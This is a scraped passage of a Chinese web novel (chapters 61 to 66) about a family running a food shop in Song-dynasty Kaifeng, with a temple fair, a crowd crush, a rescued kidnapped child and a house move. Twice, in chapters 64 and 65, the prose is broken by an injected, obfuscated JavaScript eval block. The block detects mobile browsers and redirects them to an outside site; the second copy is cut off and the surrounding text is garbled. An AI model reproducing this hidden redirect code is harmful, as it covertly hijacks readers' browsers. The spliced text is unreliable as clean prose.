②:鹿肉造假出自《葵辛杂识》 第 61 章 庙会 第61章庙会 玉姐儿好笑:“娘,裴大人怎么可能与我们同路。”人家大小也是个官员,怎么会与他们这种庶民同行,那不是跌份吗? 谁知裴大人开口:“好。” 玉姐儿:? 裴大人莫不是想套近乎好让她多给盛点菜罢?玉姐儿脑海里第一时间迸发出这个猜想,随后又觉得荒谬。 金哥儿拱手:“那便结伴同行罢,我们要先去庙里祭拜,再去周围小摊上转悠,裴大人请罢。” 裴大人也拱手。 几人便一起同行,金哥儿原本与裴大人不熟悉,可他也惯常与五陵年少一起交际的,因此也能与裴大人聊上两句。他说了两句倒觉得裴大人人不错,丝毫不似他外形表现出来的那般迂腐。 单看他作为公子哥儿没有骄矜之意,面对身边熙熙攘攘人群时知道主动走到外侧护着几位女眷,但除此之外目不斜视,并不偷窥自家三位如花似玉的妹妹。 金哥儿满意点点头。 庙会上的热闹太多,走着走着大家难免走得稀散,叶璃要去附近摊子上搜寻桃棒、桑弓、蓬矢、蜥蜴、蟾蜍这样的行巫术之物,玉姐儿眼巴巴望着对面的蒜梅①:“到底蒜腌梅子什么味道?能吃吗?莫不是什么猎奇点心?” 嘴上说着猎奇,嘴巴却已经开始咂吧了。 银哥儿挪步想去看发冠头面。叶盏纳闷,这可是大哥才会做的事情呢,二哥怎么会去看那个? 大哥什么都不看,寸步不离跟着几个妹妹,恨不得一手拉扯一个,自打叶盏丢了他就很警惕,每每去庙会这种场合都要拉扯住几个小的,生怕他们再被拍花子拐走。 可是人太多,总不能大家集体买完蟾蜍再集体去买蒜梅,抱着风干蟾蜍和蒜味四溢的腌梅子再齐齐站在头面首饰摊前看首饰吧?那还不得被骂死。而且还没有那么多时间。 金哥儿环顾一圈,迅速分配:“我跟着小妹,银哥儿带着玉姐儿,盏儿便拜托裴大人了,不知可否?”最小的妹妹最容易被拐,他要重点跟进,人家裴大人好歹是个官身,总不能委屈他跟着玉姐儿去熏大蒜味道吧? 裴昭点点头:“好。” 于是几人便兵分几路,裴昭看着他们各有去处,问 叶盏:“不知二姐想去何处?” 叶盏摇摇头:“乱逛逛就好。”她还真不知道想买些什么在现代她一有工作压力就拼命购物排解发泄堪称购物狂可到了古代又有家人相亲相爱事业变成了纯粹爱好没有了业绩压力购物欲居然消失了。 “好。”裴昭又是说好“正好在下也想闲逛那我们便信步走走?” 叶盏倒对他这一行为有了些好感既不评头论足又不爹味推荐很绅士。 于是两人就在庙会上开始闲逛叶盏对什么都好奇: 算卦的扯一张幌子打扮得仙风道骨嘴里却在大声吆喝“时来运转 叶盏:…… 看来自古以来穷男人的幻象都差不多。 一个摊子专门卖床帐什么扑青帐、黄草帐还有卖香草的梧桐数珠、藏香 还有支个桌椅裴昭讲解:“那是卖酸文的能根据客人需求写文。”叶盏:所以是古代版定制文? 还有个小贩正被官府的衙差当众行刑呢据说他出售了注水肉被官府发觉仗六十选择在闹市执行是为了在摊贩们心中起到警示作用。 在知道大宋也有假羊肉之后的叶盏波澜不惊不过还是仔细询问没有注射器小贩如何注水的问题差点被身边群众当成也要制假造假的铤而走险者。 还是裴昭护着她赶紧离开的。 锡器摊子上各种器皿全是锡做的鸡笼担和竹夫人和谐共处猪肉摊上半头生猪店主叫卖:“双头骨、细抹落索儿精、钝刀丁条肉、浮筋骨、窜臊子肉、寸金骨②。”丝毫不乱。 叶盏买了几种红莲子、箭子米、嘉庆子、山塘乌李几种山货想着回头做菜时正好能用。 买着买着来了兴致索性给家里人再买些东西给叶璃买了圣堂拂子给家里买了竹夫人、油杆杖等日用物给留守在家的蓬蕊和杜府石榴那些姐妹买了麻线、鞋面、粉心、合粉、领抹。 叶盏买了好一会才后知后觉担心裴昭觉得无聊。 可仔细一回想裴大人似乎没有面露不快。 叶盏买山货裴昭就蹲下身去帮她挑选其中又大又圆的嘉庆子; 叶盏买竹夫人裴昭便伸手从摊贩手里接过; 她要买粉心裴昭虽然不大懂那几个颜色有什么不同但还是耐心将不同粉心放在自己手上、手腕上对比颜色方便叶盏挑选适合女子不同肤色的颜色。就算是蹭了一身香粉味道都没有抱怨。 她买了杂七杂八一堆东西不方便挑选货物裴昭就顺顺当当接过来抱了满怀。 想到这里叶盏有点歉意对裴昭伸出手去:“裴大人那些杂物我拿着便是。这一路上多谢您了。” “无妨。”裴大人根本不给她反而还将慢慢的臂膀往旁边侧一侧“这竹夫人上有倒长的竹刺小心莫扎了手。” 竹夫人是竹子制品虽然小贩打磨过表面但到底还有疏漏下的竹刺那玩意儿很容易扎进皮肉没想到裴大人连这个都记得。 裴大人这么清楚只怕是已经被扎到了吧? 再回想刚才跟小贩讨价还价之后裴大人就赶在她前面伸手去拿想必是提前想到这一点。 叶盏后知后觉对他又是愧疚又是感激。正酝酿着怎么谢谢他就见裴昭指着对面:“那里有赌糖你可要?” 赌糖是宋朝人一种卖糖的方式有“猜糖”和“轮盘赌糖”两种方式。 猜糖是小摊贩将糖果随机放在倒扣的碗里由行人去猜 轮盘则是转动轮盘最后停下的那一栏是什么就是什么有“多谢惠顾”也有“一块糖”最多的是“一袋糖”每次也是一文。 叶盏看完后明白了这是大宋版的盲盒和抓娃娃机。 古人继烹饪技术、造假业之后再次在玩乐业给了叶盏一点点小小的宋朝震撼。 来都来了当然要玩。 叶盏便去猜糖裴昭在摊边站稳抱着一堆东西笑着看她。 叶盏翻了两次碗背后都是空的她有点郁闷眼看就花了两文钱这不是要赔本吧? 可现在要走又有点舍不得万一下一个碗翻过来就是中了呢? 叶盏想想就换了轮盘玩。 狠狠转一下轮盘眼看着它停下来摊贩当然很聪明"谢谢惠顾"的扇形范围太大叶盏转了又转都没有停留在有糖的部分。 怎么今天难道要无功而返? 叶盏生气捋起袖 子,双手搓搓,她还不信了 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叶盏看了看,果然指示到一袋糖,她高兴起来,欢呼一声:“有了!” 她欢呼完还嫌不够,又冲裴昭喊:“裴大人,你看见了吗?我摇中了!摇中了!” “嗯,看见了,真不错!”裴昭也对着她笑起来,笑容如清风朗月。 不远处的一辆马车上。 裴夫人③有点晕车,正躺着呢:“今天处处堵车,短短一段路走了一盏茶的功夫,瞧这速度,等走到庙门口我们也该回去了。” “你这张嘴啊,就是促狭。”祝夫人捂嘴笑,小姑子打娘家就说话犀利,嫁出去这么多年跟着丈夫宦海浮沉都没改了这习惯,可见妹夫偏疼她。 “今日人多,等过一段就好早些。”祝夫人一边掀开车帘透气,一边安抚小姑子。 “嗯,盼着二郎神他老人家看在我虔诚的份上,能给昭儿一个好姻缘。”裴夫人从抽屉里摸了一颗酸梅糖,放入口中压压恶心。 祝夫人笑:“先来我家寻了一圈主意,如今又要拜神,你也是一片慈母心肠了。” 裴夫人回娘家讨了半天主意,把适龄的门当户对人家小娘子清单打听了个遍,可又担心儿子不中意所以不敢冒然请托。 最后无计可施,居然想到了求助于拜神,祈求神灵能指点迷津,好不至于让自己错点鸳鸯谱。 “咦,那个人怎么瞧着像外甥?怎么身边好像还有个小娘子?”祝夫人掀车帘的手一停,嘀咕了一句。 她往外探身要开看,奈何车子往前走,车帘晃动,人头攒动,一时让她又看不清楚了。 “不会是昭儿吧。”裴夫人苍白着手,无力摇摇手,“他这时间应当在衙门公干。” “再说了,他若能开窍与小娘子同游,我这个当娘的还用耗费苦心来求神上香?”裴夫人不信。 作者有话要说 一会还有一更。 蒜梅①:《吴氏中馈录》 ②:《梦梁录》 ③解释一下,古代女子都是用自己的姓氏,好比裴夫人应当说是祝氏,但我行文时候担心读者记不住哪个人物是谁,就用了裴夫人来指代,还请见谅。 第 62 章 蒜梅 第62章蒜梅 叶盏给了钱,只不过给钱时小贩明显脸色古怪,还冲裴昭看了一眼,随后才说了个数。 叶盏沉浸在吃糖的喜悦里没留意,捧着一袋糖给围观的小孩们分了分,算是答谢这些热心观众。 孩童们高高兴兴道谢,接过糖果,还夸了叶盏两句。不过可能是他们在庙附近听多了庙祝祷告的缘故,夸奖人的词语也很独特“天生神勇。”、“武力非凡”。 叶盏手里只剩了两块,给自己嘴里塞了一块,另一块想留给玉姐儿,因为觉得裴大人肯定看不上这样散装的糖块,谁知裴昭顺顺当当冲她张了张嘴。 他手里还抱着竹夫人等一堆东西呢,两手自然是没空。 叶盏想了想,便用袋角捏着糖送到了裴大人嘴边,隔了一层布,这动作应当不算越矩吧? 至于规不规矩,看裴大人表现就知道了。 反正她是现代人,搞不清楚这里面的分寸,裴大人这么正派规矩的人,如果这件事不合规矩他肯定会把关。 裴大人没说什么,看来这件事不算出格。 他斜斜低了下身子,低头,照顾了下叶盏高度,方便叶盏把糖块送过去,随后舌尖一扫,就把糖块裹进了嘴里。 两人靠近时,叶盏近距离观察了一下裴大人,嗯,下巴很有力,精瘦,下颌骨没有一点赘肉脂肪,线条分明,这让叶盏小小羡慕了一把。 吐出的一点舌尖,红红的,上面有淡淡的凸起味蕾。 他嘴唇有点薄,呈现出健康的血色,用一句符合现代审美的话来说,就是很欲,不过据说薄嘴唇的人薄情,裴大人看着不像薄情寡义之人吧? 她正胡思乱想,就听裴昭问她:“在看什么?” 他的声音在叶盏记忆里是温和的、文质彬彬的,可这回不知道是不是叶盏心虚,居然听出了一丝蛊惑的意味。 有点……危险。 叶盏咳嗽一声,她总不能说看着您嘴唇薄是面相书里说的薄情相吧?当即脑子飞速旋转,立刻撒了谎:“我在看大人您一脸官相,想必高升指日可待。” 说完后立刻很得意,看来自己完美继承了宓凤娘的高情商和叶大富的机变基因。 裴昭淡笑 ,没有戳穿她。 果然千穿万穿,马屁不穿。叶盏得意之余又很汗颜于果然油嘴滑舌会让人变得油腻,她现在自觉可以随机油死一个路过的不幸路人。 “这糖好甜。裴昭似乎真在回味糖块滋味。 “还真是。叶盏也收回思绪,开始品尝糖块,“这家店应当用了提纯工艺,比寻常蔗糖少了许多杂质,所以吃起来很甜。 吃着糖她开始算账,算了算这袋糖她花了一共十五文钱,可是正儿八经买一袋糖果用五文钱就可以! 也就是说叶盏花了三袋糖的价格买了一袋糖。 这还是她手气超好的前提,可见盲盒误国。 “我果然是叶家人。 叶家全家都是某种意义上的“有瘾,娘酒瘾,爹古董瘾,银哥儿武术瘾,玉姐儿吃瘾,叶璃巫术瘾,叶盏原先还当自己没事,可是如今不得不信,就这一股脑钻进去的架势还真危险。 “以后我可千万不能沾染赌博。 裴昭没想到叶盏在短短瞬间已经对自己进行了反沉迷教育并且上升到玩物丧志的高度,却还是温和应了一声:"那我以后提醒你。" * 踩踏发生在一瞬间。 叶盏只听见前头人喧哗了几声,似乎是在吵闹,随后就有尖叫声传来,等她还没反应过来,就眼见着前面的人像是被一堵墙压倒了一般,往她身边倒了过来。 裴昭比她反应快。毕竟做过武将,对于外界环境要比常人更敏感,眼看着远处似乎有动静,立刻扔下了东西,四下迅速打量,眼看着周围都是后墙,来不及进人家店铺了,便快速拉着叶盏到了一处果子行的墙后侧,背靠着人家的砖墙,将竹夫人塞给了叶盏。 这一切发生得太快,叶盏根本没反应过来,等她回过神来裴昭已经转身背对着她了。 他身手矫健,挡在叶盏前面居然丝毫不动,加之有竹夫人护着,背后还有墙体,所以叶盏虽然看到了人群汹涌,但本身并未感受到太多冲击。 怀里的竹夫人宽宽扁扁,竹子编就无数孔洞,正好将外面挤来的力度部分分散了些,本身又宽大,正好形成一点空隙,防止叶盏被挤窒息,叶盏这才明白为什么裴昭丢下了所有东西唯独留了竹夫 人。 那波人潮已经推搡到了近处有人在呼喊有人茫然抓着旁人的手想起身但让同伴也跌倒了有人心狠手辣赶紧踩着旁人的身体站起来奋力往更高处攀爬。还有人不住大喊:“踩人了!推人了!” 刚才还熙熙攘攘的市井游乐图顿时变得残忍起来。 叶盏焦虑看了看裴昭背影虽然看不见他的面容但从他紧绷着的肩背和后脖颈凸起的青筋可以设想他在拼尽全力。 “裴大人?”叶盏小心问“您要不要转过来?” 转过来以手抵墙能有个使力的支点这样最脆弱的内脏能被护住和她面对面固然尴尬但两人中间隔着竹夫人何况人命关天这时候不是计较这个的时候。 裴昭动都不动只闷哼了一声以示拒绝。 叶盏越发愧疚原本没有她以裴大人的身手说不定还能逃出去呢。 “无妨。”裴昭似乎猜测到她的心思沉声安抚了她一句。 好在这波踩踏规模不算大裴昭眼见着第一波冲击过去了立刻大声喊:“我是开封府的诸位都起身原地站着别动。” 他自带杀气气沉丹田再说有了开封府的名号一下就让周围人都安静下来。毕竟人在危急时刻会本能希望官府有所作为。 眼见着周围人不再一个推搡一个叶盏周围的压力也变小了她立刻开口:“裴大人我完全可以应付您赶紧去照顾其他人。”她现在很安全最好让裴昭心无旁骛去救助他人。 裴昭看了一下她周围将近处两根横木拖在她前面形成个空隙确保她安全无误后才点点头:“我很快回来。” 说罢便继续喊话一边揪住几个看似忠厚力气大的大汉指派他们各保证自己一圈的安危就这样一点点这个安稳的圆圈往外逐渐扩展。 本来露天地方虽然挤但也不至于 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原来宓凤娘在外围人没事,只不过听见越靠近庙的位置越吵闹,索性踮起脚看热闹。 这一看热闹,倒被她瞧出了不对。 其中有个男子抱着个孩儿,孩子内里穿着的衣饰华丽,可身上却裹着个脏脏的麻布斗篷。 孩子虽然不哭不闹,但是男子却四处打量,贼眉鼠眼,衣服与孩子的衣服也不像一个档次。 宓凤娘一下福至心灵,大喝一声:“站住! 她不喊还罢,一喊那男子居然跑动了起来。 这下宓凤娘一下就明白了,当即气血上涌:“拐子!那人是拐子!拦下那抱孩子的男人! 汴京城街坊邻居们最是行侠仗义,当即帮忙拦下了男子。 宓凤娘更是一马当先,一把茱萸粉混合面粉冲男子撒过去,趁着他慌乱先把孩子抢过来抱在怀里。 天知道这些年她在心里这些年预演了多少次如果能重来一次她会怎么从拐子手里拐走女儿的动作,因此即使没什么武术基础居然也行云流水,顺利把孩子夺了过来。 后面赶来的街坊邻居们将这男子围住,一一审问他。 男子说不上来,说不好孩子手腕上带着的首饰是什么,还说不上小孩身上的里衣是什么颜色。 宓凤娘一下怒火中烧:“人贩子!因此街坊邻居们纷纷见义勇为,将这男子捆住预备见官。 那男子已经被街坊路人们暴揍了好几顿,然而金哥儿兄妹几个冲进去又对他是一顿拳脚交加。 裴昭没拦着。 玉姐儿摸了摸小孩的脸蛋,看他又乖又听话,便摸出一块蒜梅给小孩喂了一口:“来尝尝姐姐新买的零嘴。 被拐子拐走都没哭,真是好皮实好乖。 谁知小孩吃一口,“哇一声大哭起来:“呸!难吃! 宓凤娘也忽然开始放声大哭:“来得及!娘这回来得及了! 作者有话要说 晚安,明天九点见 第 64 章 蛋饺 第64章蛋饺 “叶老板,您瞧着如何?”鸣镝气喘吁吁。 下午少爷在衙门办公,他和大斧听了少爷的吩咐,拿着少爷写好的清单跑了好远才买齐全这些东西。 叶盏看了又看,这分明是裴昭找人将市场上的东西又买了一份,连胭脂、粉心的颜色都一分不差。 “我家少爷说当时事出紧急,不得已将您的东西摔到了地上,这下原样补齐。”大斧说完后还颇为自豪挺了挺胸膛,不愧是自家少爷,不犯黎明百姓秋毫。 鸣镝要机灵些,又递上一份东西:“这是少爷叫我们买来的压惊汤剂和跌打药膏。说是万一伤着您。” 叶盏接过药膏,又看了一遍那些瓶瓶罐罐,不由得感慨:“裴大人,真是过目不忘的好记性啊。”居然颜色都没错。 “那是自然。我家少爷可是出了名的好记性,不然怎么办案?”大斧更加自豪了,“这回拐子的事就是他发觉的。” 那拐子只想赚点快钱,哪里经得住恐吓,先是被路人揍个半死,后又是被拎着参观了众多刑具,所以很老实,很快就倒豆子一般将来龙去脉说了清楚。 原来他们全是同乡,彼此臭味相投好逸恶劳,从今年起就开始拐卖妇女幼童,一开始不好得手,便想了个好主意,故意在金明池、庙会这样人多的地方制造混乱和踩踏,趁着大家混乱人头攒动之际,赶紧偷了孩子就跑。 因为人人自危,一时难免松懈手里的孩子,等发觉时又赶上熙熙攘攘,想追也追不上,喊了又容易被市井喧哗遮掩,所以最好得手。 这次也是故技重施,瞧着江家的孩童粉雕玉琢,想起最近有瓜州一名富商的订单想要一个好看的娈童,便起了心思。 先是在人群中造谣说有人挤人,一时人人自危,趁这时候偷了孩子,那孩子已经被剃了一半头披上了脏外袍,眼看只要出了寺庙附近就能逃脱。 还好宓凤娘机灵,救下了孩子又拦住了拐子,不然不远处汴河上已经有开往瓜州的船只等着发船了。 这回裴大人抓住了拐子,又要审讯出了他的同伙,一下就带兵抓了等候在暗处的好几个同伙,说不定今晚就能审讯出更多受害者,眼看着从前一些被拐卖的女子孩童也 能早些回去。 几人听得入神,不住询问问题,大斧更加得意,将自家少爷吹得天花乱坠,如何神勇如何料事如神,滔滔不绝说个没完。 这件事过于轰动,等他走之后食肆里的百姓还议论个不停。 叶盏却有些心不在焉,她一边做五丁蛋饺,一边小声问玉姐儿:“姐姐,我问你个事。” “问就是了。”玉姐儿眼睛盯着蛋饺,嘴里随口应了一句。 铁勺在火上烤热,随后舀一勺金黄的蛋液到铁勺上,转一圈就凝固成了饺子皮,再将猪肉馅、笋丁、青豆、胡萝卜、菜心等五种丁剁成的馅料放进蛋饺里。 用筷子轻巧夹起来,就成了一个黄澄澄的蛋饺。 “就是……”叶盏努力组织着语言,“裴大人送东西过来,是不是有些……出格啊?” “他摔掉的,他来赔偿,很合理啊?”神经大条的玉姐儿丝毫没觉得这有什么不对劲,满不在乎,“再说大斧不是夸自家大人爱民如子嘛,原先还自掏腰包给外地来汴京告状的老百姓付住店钱呢。” 裴大人看着就很有家国情怀,是个正直人,从这个角度来也有几分合理性。 “可……”叶盏想想,“那些东西是他为了救我才扔到地上的,又不是他故意弄坏的。” “那……礼多人不怪吧。”玉姐儿盯着铁锅内将要沸腾的热水,“等水开后就能煮蛋饺了吧。” 也许他就是这么周到的性子。 叶盏看了看那包跌打膏药:“那,那个跌打膏药……” 玉姐儿叹口气,将目光从锅里移过来:“妹妹啊,你是不是想问,裴大人是不是在献殷勤?” 叶盏不提防她忽然这么正经,瞪大了眼睛看玉姐儿。 玉姐儿倒没有半点闺阁女儿家的矜持,嘿嘿一笑:“我瞧着不像,他自来店里对所有人都很好,再说了,他今日与娘告别时候不是说叫我们买些跌打膏药和压惊汤药吗?可能想到就顺手吩咐了。” “他这种富家公子哥,长得好仕途有成,顺风顺水,随手对个把小娘子表示好感很正常,送几件东西药品也不痛不痒。”玉姐儿忽然有了几分做姐姐的样子,"只是我们毕竟是平民女子,行错踏错容易误了自己一生,倒不如装傻。" 她说着,目光移到 案几上放着的瓷罐上,坦荡荡叹了口气。 叶盏顺着她的目光看过去,瓷罐里装着闵穆送来的半罐子干梅花:“姐……? 玉姐儿潇洒一笑:“大哥教导我们读的《诗》里头不是说了嘛,女之耽兮不可脱也。 “别看我整天就惦记着吃,毕竟多比你早出生,那些富家公子哥一时对哪家小娘子殷勤些,时过境迁也不过是潇洒写一首人面不知何处去,桃花依旧笑春风,可穷人家女儿就是苦等痴等,白白等着人家消息,殊不知自己无论如何都踏不进人家平日里出入的门户,就算要上门讨要说法都只能到门子小厮接待。 “姐。叶盏被玉姐儿忽如其来一番话震惊,一时说不出话来。 玉姐儿却嘿嘿一笑:“水开了,下蛋饺。 金黄的蛋饺被小心滑进了锅里,随着锅内的开水浮浮沉沉。 叶盏盖上锅盖,坐下给灶膛里添把火,呆呆看着灶膛里起伏跳跃的火苗,问:“姐姐,你是不是在生闵公子的气? 她看出了玉姐儿待闵公子有点特别,但鉴于玉姐儿一直没心没肺的样子,没当回事。 可仔细回想,闵公子第一回送特产来玉姐儿还挺高兴,可后面几回虽然还送湖广特产来但玉姐儿每次都闷闷的,不大高兴。 “谁生他的气了。玉姐儿翻了个白眼,“让他自己在外面游山玩水吧,连个口信都不捎。 原来是因为闵公子没有送口信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465871|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,一直在外面没有消息,所以玉姐儿生气了吗?叶盏抿嘴笑,姐姐还挺傲娇。 按道理两人并没有送口信的关系,可是处于懵懂心动的小娘子总是有许多悸动的小心思。 一开始是盼望,盼一个奇迹。若是盼望达不成,就变成了淡淡的幽怨,自己千还百折,怀里藏着只有自己知晓的小秘密,为了这个小秘密又不断折磨。 怪不得要说青苹果滋味呢,叶盏两世都是爱情绝缘体,这时候忽然感觉到了有点少女的感觉。 她便郑重点点头:“姐姐说的是,我们好好经营店铺,不多想。 以后不管裴大人怎么示好,他不提,我装傻,他挑明,我惊讶,没看懂,没留意,一问三不知。 姐俩你挤我一下,我推你一把,对视一眼,嘻嘻哈哈笑了起来。 蛋饺出锅叶盏给玉姐儿先盛了一份:“尝尝如何。” 金黄色的蛋饺肥肥胖胖乖乖躺在汤碗里沉浮看着就很可爱。 玉姐儿满怀期待咬开了蛋饺先是软糯的外皮 “好吃!”她眼前一亮又问叶盏“这汤若是加上鸡汤会不会更香?” 叶盏点点头:“对蛋饺经常放在高汤里煲煮。”只是今天她心不在焉明显分神居然没留意到这件事。 “我猜也是蛋饺在汤里煮肯定能吸饱鸡汤精华肯定更肥腻好吃。”玉姐儿憧憬着“下回我们煮鸡汤的好不好?” 姐妹俩正在商议做菜就听得食肆门外有人喊:“老板在吗?” 是闵家小丫鬟。 玉姐儿腾一下就站起来:“在。”迎了上去。 “我家少爷又送了东西过来夫人说还有你爹的家信一并送过来。”丫鬟很热心又给玉姐儿看自己带来的吃食“瞧着如何?你爹还要去隔壁州府我家少爷让我捎话给你让你不要担心他派了家丁跟随。” 玉姐儿看着挺镇定可只有叶盏这个角度才能看见玉姐儿藏在身后的手早就拧成了麻花了。 “哦。”玉姐儿波澜不惊“是给我家捎的口信啊。多谢。” “不是是单给你捎的信。”丫鬟清点东西没抬头“反正你们不是一家嘛都一样少爷还让我劝你不要笑你爹异想天开他觉得那腰带挺真……” 叶盏走上前去瞥见玉姐儿笑得一朵花似得。 她摇摇头。 所以这就是电话一响军师白讲吗?还是军师不上战场? 不过被玉姐儿一分析叶盏倒平静了许多不管是不是她想多了总之以静制动便好。 果然之后裴昭没有任何越矩的行为仍旧像往常一般来食肆里吃饭言谈举止都很和气没有半点暗示或者非分之处很是坦荡荡。 叶盏松了口气果然是自己想多了也还好姐姐劝导不然自作多情引起了内心波澜反而出丑。 她便以平常心对待裴昭。 裴昭这几天很忙他捉出了拐子团伙里面居然还有何兰翠的一个儿子! 作者有话要说 来啦抱歉今天晚了点发红包补偿大家 第 65 章 分销 第65章分销 大仇得报,宓凤娘乐得在巷口嘎嘎乐。 鉴于强大的审讯能力叶盏才知道当日里卖蛋糕时探头探脑的人就是何兰翠小儿子派来的同伙。 何兰翠嫉恨叶盏店里生意好叫小儿子捣乱,小儿子便寻了自己的同伙潜伏在食客中煽动众人谁知遇上沈娥识破了他的诡计,只能灰溜溜走了。 他们这些人在京城中流窜,有钱就去吃喝玩乐,没钱了就四处偷鸡摸狗 没想到遇到裴昭和宓凤娘两位,一人眼尖识破了拐子,一人思维缜密看透了他们背后的预谋。 江夫人从裴昭那里听说自家儿子差点被送到瓜州富商家里做玩物后怕到当场晕厥了过去等清醒过来再次敲锣打鼓来叶家道谢。 这回说什么都要宓凤娘收下礼物,有茶糖烟酒这样的四色礼盒,还有两只烧鹅、一大副蹄膀、两罐子腐乳、两盒果馅饼。 宓凤娘这礼物不算贵重,便点点头收下了。 这些礼盒都算是硬通货能换钱有了这笔钱,宓凤娘倒生了旁的心思。 她先前乐归乐,可一想到何兰翠居然盯着自家女儿店铺,顿时心里甚为不悦:这哪里有千日防贼的? 因此这回得了钱宓凤娘就跟家人商量:“眼看着地里这一季的庄稼收割家里也能有些进项再加上如今有江家的钱,不若我们另外租个清静点的去处,大家亲近住在一起。” 家人坐在一起算钱,金哥儿如今有了个小商铺,虽然赚得不多,但生意蒸蒸日上比往常赚得多。 玉姐儿既有叶盏店里一半的分红还有居住焌糟娘子们的分成。也算是个小富婆了叶盏自不用提。 “璃儿还小不收她的钱原先你们没钱时银哥儿给家里给钱都是大头是以这回赁新房子就不收他们的钱由我做父母的代付如何?”宓凤娘开口。 家人自然同意。 叶盏自打理解了父母两人的成长经历后对于热衷于端水的父母就很理解。 银哥儿也开口:“正好我们哥俩住的房本就是为穷人准备的如今家里情况好转是应当将房子让给旁人等赁到房子我就去开封左厢店宅务 将房子还给掠钱亲事官。” 宓凤娘哭笑不得:“我的儿多少人家瞒着抢着都要多占一间便宜的公家房你倒先还回去。” 可是见儿女们都很赞同银哥儿的说法便也悻悻然点头:“也罢还回去。” “万一有人跟我们家当初一样穷眼巴巴等着住这房子呢。”叶盏笑眯眯劝解她老人家。 宓凤娘这才松了口:“也罢就当是积德行善了。” 一家人商定了要赁房子便去寻中人。 那中人帮着叶盏赁商铺、帮金哥儿赁商铺还帮叶盏买了塌房因此这回先恭喜:“可见您家里如今正是兴旺了净日的买房置地。” “哪里哪里。”宓凤娘笑着摆摆手很是谦虚但上扬的嘴唇泄露了她内心的得意。 不过得意归得意这人还是要敲打的:“我家既是常客你可不能欺熟我听说有中人很喜欢杀熟。” “不敢不敢。”中人赶紧摆摆手换上恭敬些的面容“我在本坊做了许多年中人有口皆碑。” "那就好。"宓凤娘倨傲摇摇扇子“你若是做得好我家这么多孩子以后开铺买房少不了找你再者我如今也是本坊有声望的媒婆不是那等低等媒婆往来认识不少人遇上他们要买房置业自然会给人家荐你。” 先打一巴掌再给个甜枣。 一番话说完中人最后说定了比寻常的中人费用再少两成。 正在角落抓蜘蛛网的叶璃:! 风度翩翩摇扇子的金哥儿:! 叶盏:! 捧着甜瓜啃的玉姐儿:! 兄妹几个对视一眼眼中都是对亲娘的佩服。 叶盏心里更是多了一丝丝心痛:原来中人费用还能砍价?那前几次岂不是……感觉损失了一个亿。 宓凤娘的话像是在中人前面吊了根胡萝卜不多久他就找到了一间合适的房子:汴河南岸角门子有三间房舍出租。 这三间房舍连在一起窗户打开就是河流再对面就是城墙。门前很是清静正好满足叶家人的需求。 叶家去看了一眼都很满意:价钱合适环境清静周围没什么吵闹的瓦子、酒楼什么的附近有城门治安有保障。 内里相通还盘好了土炕 不用他们自己动手。屋外有用废旧木头搭成的简易灶房,方便做饭。 于是叶家上下很快就决定赁这座房子。 要搬家时宓凤娘却舍不得了:“毕竟在炭场巷住了这许多年,骤然离开还有些舍不得。 “再说了,赵夫人是个难得的好房东,不乱涨价,还时不时给我们送她的笋肉馒头。 便是往常与宓凤娘吵架拌嘴的邻居此时都变得可爱起来,宓凤娘心里是既心酸又高兴。 玉姐儿给她提醒:“娘,您往常总说等我家有钱搬离炭场巷时定要冲到何兰翠跟前去好好炫耀一番,您还去吗? “算了。宓凤娘想了想,摇摇头。 何兰翠小儿子被抓住判刑,只怕秋后就会问斩,何兰翠往常最喜欢跟宓凤娘炫耀她有三个儿子,如今两人儿子倒是一般多了。 何兰翠失去了一个儿子,两口子整日里闭门不出,没脸见人。 她家门前被那些愤怒的百姓扔了粪便污泥,也是在这时候叶盏才知道古代人表达愤怒的方式不是臭鸡蛋和烂菜叶。原来古代的食物匮乏,鸡蛋作为能吃的补品和能换钱的硬通货,是绝对等不到防臭的那一天的。 何兰翠往日里那些客户知道后也不许她再出入内宅梳头:万一被她拐走了自家孩子或女眷,那该如何是好? 因此何兰翠生意一时冷清,听说如今在筹谋着再另寻一个生计。 他丈夫那些天日子也不好过,看妻子没了生计,又要回到从前跟他伸手要钱的日子,便恢复了往日嘴脸,想要再揍何兰翠一顿泄愤,谁知被何兰翠两个儿子合力反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此一来就算她们想倒卖也无法更多获利算下来还不如自己继续卖呢。 “如此甚好。”叶盏赞许点点头“就照你说得办明天你去做这件事就好。” “我?”玉姐儿惊了用手指着自己鼻子一时以为妹妹弄错了“我能成么?” 她虽然比叶盏年长但自打妹妹回来后就稳重踏实处处出主意玉姐儿便唯妹妹马首是瞻从没想过自己能独当一面。 就连这次她出主意都是希望由叶盏去处理。 “你怎么就不成了?”叶盏鼓励她“那些娘子们的事务不是一向都由你来经管吗?如今好几个月过去都没出什么差错可见你本身能力出众。” 作者有话要说 一会还有一更 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第 66 章 黄金鸡 第66章黄金鸡 “可那是每天简单的记账啊。她们谁来店里、拿走了多少菜、店里应该付多少奖励给她们,我只要拿笔写在册页上,再将菜递给她们就好。”玉姐儿很是不自信。 “你要做的事也只是记账,只不过这次的账册要麻烦些,要在早上晚上时候分别核实罢了。”叶盏认真开导她,她一心想要培养玉姐儿。 玉姐儿琢磨了一下。她一开始从心理上先入为主,觉得自己不能胜任这些大型的事务,想着万事有叶盏顶在前面,自己只需要做好辅助便好。 可是经过叶盏这么一开导,倒慢慢琢磨过来了:是啊,这件事听着复杂,可是拆分开后不也和从前一模一样吗? 她慢慢抬起头,目光也逐渐坚定:“好。我来办。” “那就看你的了。”叶盏笑眯眯看着玉姐儿,“以后这部分虽然还在店里经营,但是你自负盈亏,赚到的钱分一半给你,亏损也算你一半。” 